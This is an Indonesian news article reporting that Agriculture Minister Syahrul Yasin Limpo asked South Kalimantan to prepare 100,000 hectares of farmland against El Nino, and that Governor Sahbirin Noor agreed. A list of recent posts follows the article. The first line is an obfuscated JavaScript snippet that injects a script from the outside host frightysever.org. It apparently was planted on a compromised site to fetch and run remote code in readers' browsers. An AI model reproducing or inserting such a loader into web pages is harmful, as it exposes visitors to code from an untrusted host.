(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mentan SYL Andalkan Kalsel Antisipasi El Nino, Siapkan Lahan 100 Ribu Hektare


KANALKALIMANTAN.COM, BANJARMASIN – Menteri Pertanian Syahrul Yasin Limpo (SYL) terus memacu pemerintah daerah untuk mengantisipasi dampak perubahan iklim ekstrim kekeringan (El Nino) agar tidak berdampak terhadap penurunan produksi pangan.

Provinsi Kalimantan Selatan sebagai salah satu lumbung pangan nasional menjadi perhatian serius Kementerian Pertanian (Kementan) RI untuk dilakukan pengawalan dan didorong menerapkan berbagai program terobosan yang operasional.

Hal ini disampaikan Mentan SYL pada rapat koordinasi antisipasi dampak iklim El Nino di Provinsi Kalimantan Selatan, Jumat (11/8/2023).

Rakor dihadiri Gubernur Kalsel H Sahbirin Noor beserta jajaran terkait lingkup Pemprov, Ketua DPRD Kalsel Supian HK, forum pimpinan daerah, dan seluruh kepala dinas pertanian di 13 kabupaten/kota se Kalsel, serta pihak terkait lainnya.

Baca juga: Akses Keluar Masuk Pasar Wildan, Pedagang Takut Jembatan Ambruk

Gubernur Kalsel H Sahbirin Noor. Foto: biroadpim

Mentan SYL menuturkan produksi pangan di Provinsi Kalsel sebenarnya tidak memiliki persoalan.

Kalsel adalah lumbung pangan nasional, khususnya sebagai penyangga pangan Pulau Kalimantan harus meningkatkan lagi pengalaman dan praktik-praktik yang sudah berjalan dengan baik dalam menanggulangi perubahan iklim ekstrem kekeringan.

“Provinsi Kalsel adalah salah satu daerah penopang pangan nasional, selain enam daerah lainnya. Saya minta Kalsel menyiapkan lahan untuk hadapi El Nino ini 100 ribu hektare, kita booster untuk menghasilkan pangan. Kita terapkan Tatik Laju yaitu tanam, petik, olah, jual. Kita susun agenda aksinya sampai dengan marketnya. Jangan hanya tanam saja. Hasilnya kita simpan di pergudangan yang ada untuk suplai kebutuhan masyarakat hingga Papua,” tuturnya.

Pertemuan terkait antisipasi iklim El Nino ini sangat relevan dan penting sekali, karena kalau tidak diantisipasi dengan baik, El Nino mempunyai dampak yang signifikan terhadap penurunan produksi minyak pangan.

Baca juga: Kasus Perundungan Harus Dihentikan dari Rumah, Orangtua Penting Ajarkan Ini

Mentan juga menyebutkan Kementan memiliki beberapa upaya dalam mengantisipasi dan adaptasi dampak El Nino, yakni identifikasi dan mapping lokasi terdampak kekeringan, serta mengelompokkan menjadi daerah merah, kuning dan hijau.

Selanjutnya, percepatan tanam untuk mengejar sisa hujan dan peningkatan ketersediaan alsintan untuk percepatan tanam. Kemudian peningkatan ketersediaan air dengan membangun, memperbaiki embung, dam parit, sumur dalam, sumur resapan, rehabilitasi jaringan irigasi tersier dan pompanisasi.

“Kita melawan El Nino ini juga dengan penyediaan benih tahan kekeringan dan hama penyakit, program 1.000 hektare adaptasi iklim, pengembangan pupuk organik, dukungan pembiayaan KUR dan asuransi pertanian, dan penyiapan lumbung pangan sampai level desa,” terangnya.

Baca juga: Harga Samsung Galaxy Tab, Tablet Multifungsi dan Kaya Fitur

Sementara itu, Gubernur Kalsel mengapresiasi upaya Kementan RI dalam mendorong pemerintah Provinsi Kalsel dan petani dalam mengantisipasi dampak El Nino.

Sahbirin Noor juga menyanggupi untuk penyediaan 100 ribu hektare areal pertanian dalam rangka meningkatkan produktivitas padi.

“Lokasinya tersebar di semua kabupaten,” ujarnya.

Baca juga: PUPR Kalsel Targetkan Jembatan Lumpangi-Loksado Segera Selesai

Meskipun berdasarkan prakiraan BMKG bahwa curah hujan di Kalsel pada bulan Agustus sampai Oktober 2023 pada kategori rendah dan diklasifikasikan ke dalam El Nino rendah sampai sedang, namun perlu ada upaya antisipasi dan adaptasi El Nino di sektor pertanian.

“Kami sangat mendukung arahan Menteri Pertanian Syahrul Yasin Limpo antisipasi El Nino ini dengan cara identifikasi dan mapping lokasi terdampak kekeringan serta mengelompokan menjadi daerah merah, kuning dan hijau, percepatan tanam untuk mengejar sisa hujan dan lainnya hingga penyiapan lumbung pangan hingga tingkat desa,” katanya.

Sahbirin mengungkapkan saat ini Provinsi Kalimantan Selatan untuk mengantisipasi El Nino melaksanakan gerakan nasional (Gernas) dari bulan Juli sampai dengan September seluas 70.061 hektare yang tersebar di 13 kabupaten/kota. Perkiraan produksi padi sampai dengan bulan September 2023 berdasarkan kerangka sampel area (KSA) BPS sebanyak 646.074 ton gabah kering giling (GKG).

Baca juga: Wali Kota Aditya Luncurkan Program Authorized Cambridge English School, Fasih Berbahasa Inggris

“Mudah-mudahan, dengan adanya pertemuan koordinasi ini, memajukan pertanian di Kalimantan Selatan ke tingkat yang lebih baik lagi, sehingga berhasil menjadi penyangga pangan ibu kota negara serta menjadi lumbung pangan nasional. Antisipasi El Nino mulai sekarang siap tangguh lawan bencana,” tandasnya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor : kk


Muhammad Andi

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

12 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

12 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

16 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

18 jam ago

This website uses cookies.